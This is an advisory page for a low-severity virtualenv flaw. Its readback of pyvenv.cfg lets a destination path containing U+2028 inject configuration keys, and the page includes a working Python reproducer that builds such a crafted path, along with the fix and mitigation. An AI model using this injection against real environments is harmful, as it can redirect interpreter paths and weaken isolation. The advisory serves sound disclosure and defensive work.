GHSA-qmx5-4p3x-wvqf

Suggest an improvement
Source
https://github.com/advisories/GHSA-qmx5-4p3x-wvqf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qmx5-4p3x-wvqf/GHSA-qmx5-4p3x-wvqf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-qmx5-4p3x-wvqf
Aliases
Published
2026-10-23T22:20:43Z
Modified
2026-10-23T22:30:04Z
Severity
  • 2.0 (Low) CVSS_V4 - CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N CVSS Calculator
Summary
virtualenv: Venv configuration readback can reinterpret path boundaries
Details

Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Configuration readback by the stdlib venv creator.

Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

Affected code

The relevant 21.14.8 source is in venv readback, configuration parser.

Mechanism

With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

Reproduction and evidence

The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant S as stdlib venv
    participant V as virtualenv readback
    participant C as Final pyvenv.cfg
    participant P as Environment Python
    A->>S: path contains U+2028 and home = /attacker/chosen
    S->>C: write path inside command value
    V->>C: read with splitlines()
    V->>V: parse suffix as separate keys
    V->>C: rewrite home and include-system-site-packages
    P->>C: read injected keys on startup
    C-->>P: sys._home changes and isolation is disabled

Reproducer files

The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess

work = "/tmp/repro-venv-creator-cfg"
shutil.rmtree(work, ignore_errors=True)

# the attacker's input: the text of a destination path.
# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
# The slashes only make nested directories; the last key, x, absorbs the rest of the path.
LS = "\u2028"
dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

base_python = os.path.realpath(shutil.which("python"))
real_home = os.path.dirname(base_python)


def pyvenv_cfg_lines(env):
    # split on "\n" only, as the interpreter does
    return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")


def sys_home(env):
    # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
    probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()


# control: the same path through the standard library alone
stdlib_env = dest + "-stdlib"
subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)

# attack: the same path through virtualenv; --creator venv is the one non-default option
virtualenv_env = dest + "-virtualenv"
created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
if created.returncode != 0:  # refusing such a destination is a valid fix
    print("virtualenv refused the destination")
    print("OK")
    raise SystemExit

# check
stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)

print("CONTROL  python -m venv wrote pyvenv.cfg:")
for line in stdlib_cfg:
    print("    " + ascii(line))
print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
for line in virtualenv_cfg:
    print("    " + ascii(line))
print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")

keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")

Impact

Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

Fix: PR #3426.

Known mitigation

Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.

Database specific
{
    "cwe_ids":  [
        "CWE-93"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-23T22:20:43Z",
    "nvd_published_at":  "2026-10-20T20:17:17Z",
    "severity":  "LOW"
}
References

Affected packages

PyPI / virtualenv

Package

Name
virtualenv
View open source insights on deps.dev
Purl
pkg:pypi/virtualenv

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
21.14.9

Affected versions

0.*
0.8
0.8.1
0.8.2
0.8.3
0.8.4
0.9
0.9.1
0.9.2
1.*
1.0
1.1
1.2
1.3
1.3.1
1.3.2
1.3.3
1.3.4
1.4rc1
1.4
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.4.9
1.5
1.5.1
1.5.2
1.6
1.6.1
1.6.2
1.6.3
1.6.4
1.7
1.7.1
1.7.1.1
1.7.1.2
1.7.2
1.8
1.8.1
1.8.2
1.8.3
1.8.4
1.9
1.9.1
1.10
1.10.1
1.11
1.11.1
1.11.2
1.11.3
1.11.4
1.11.5
1.11.6
12.*
12.0
12.0.1
12.0.2
12.0.4
12.0.5
12.0.6
12.0.7
12.1.0
12.1.1
13.*
13.0.0
13.0.1
13.0.2
13.0.3
13.1.0
13.1.1
13.1.2
14.*
14.0.0
14.0.1
14.0.2
14.0.3
14.0.4
14.0.5
14.0.6
15.*
15.0.0
15.0.1
15.0.2
15.0.3
15.1.0
15.2.0
16.*
16.0.0
16.1.0
16.2.0
16.3.0
16.3.1.dev0
16.4.0
16.4.1
16.4.3
16.4.4.dev0
16.5.0
16.6.0
16.6.1
16.6.2
16.7.0
16.7.1
16.7.2
16.7.3
16.7.4
16.7.5
16.7.6
16.7.7
16.7.8
16.7.9
16.7.10
16.7.11
16.7.12
20.*
20.0.0b1
20.0.0b2
20.0.0
20.0.1
20.0.2
20.0.3
20.0.4
20.0.5
20.0.6
20.0.7
20.0.8
20.0.9
20.0.10
20.0.11
20.0.12
20.0.13
20.0.14
20.0.15
20.0.16
20.0.17
20.0.18
20.0.19
20.0.20
20.0.21
20.0.22
20.0.23
20.0.24
20.0.25
20.0.26
20.0.27
20.0.28
20.0.29
20.0.30
20.0.31
20.0.32
20.0.33
20.0.34
20.0.35
20.1.0
20.2.0
20.2.1
20.2.2
20.3.0
20.3.1
20.4.0
20.4.1
20.4.2
20.4.3
20.4.4
20.4.5
20.4.6
20.4.7
20.5.0
20.6.0
20.7.0
20.7.1
20.7.2
20.8.0
20.8.1
20.9.0
20.10.0
20.11.0
20.11.1
20.11.2
20.12.0
20.12.1
20.13.0
20.13.1
20.13.2
20.13.3
20.13.4
20.14.0
20.14.1
20.15.0
20.15.1
20.16.0
20.16.1
20.16.2
20.16.3
20.16.4
20.16.5
20.16.6
20.16.7
20.17.0
20.17.1
20.18.0
20.19.0
20.20.0
20.21.0
20.21.1
20.22.0
20.23.0
20.23.1
20.24.0
20.24.1
20.24.2
20.24.3
20.24.4
20.24.5
20.24.6
20.24.7
20.25.0
20.25.1
20.25.2
20.25.3
20.26.0
20.26.1
20.26.2
20.26.3
20.26.4
20.26.5
20.26.6
20.27.0
20.27.1
20.28.0
20.28.1
20.29.0
20.29.1
20.29.2
20.29.3
20.30.0
20.31.0
20.31.1
20.31.2
20.32.0
20.33.0
20.33.1
20.34.0
20.35.0
20.35.1
20.35.2
20.35.3
20.35.4
20.36.0
20.36.1
20.38.0
20.39.0
20.39.1
21.*
21.0.0
21.1.0
21.2.0
21.2.1
21.2.2
21.2.3
21.2.4
21.3.0
21.3.1
21.3.2
21.3.3
21.4.0
21.4.1
21.4.2
21.4.3
21.5.0
21.5.1
21.5.2
21.6.0
21.6.1
21.7.0
21.7.1
21.7.2
21.7.3
21.7.4
21.7.5
21.7.6
21.7.7
21.7.8
21.7.9
21.7.10
21.7.11
21.7.12
21.7.13
21.7.14
21.7.15
21.7.16
21.8.1
21.9.0
21.9.1
21.10.0
21.11.0
21.11.1
21.12.0
21.12.1
21.13.0
21.14.0
21.14.1
21.14.2
21.14.3
21.14.4
21.14.5
21.14.6
21.14.7
21.14.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qmx5-4p3x-wvqf/GHSA-qmx5-4p3x-wvqf.json"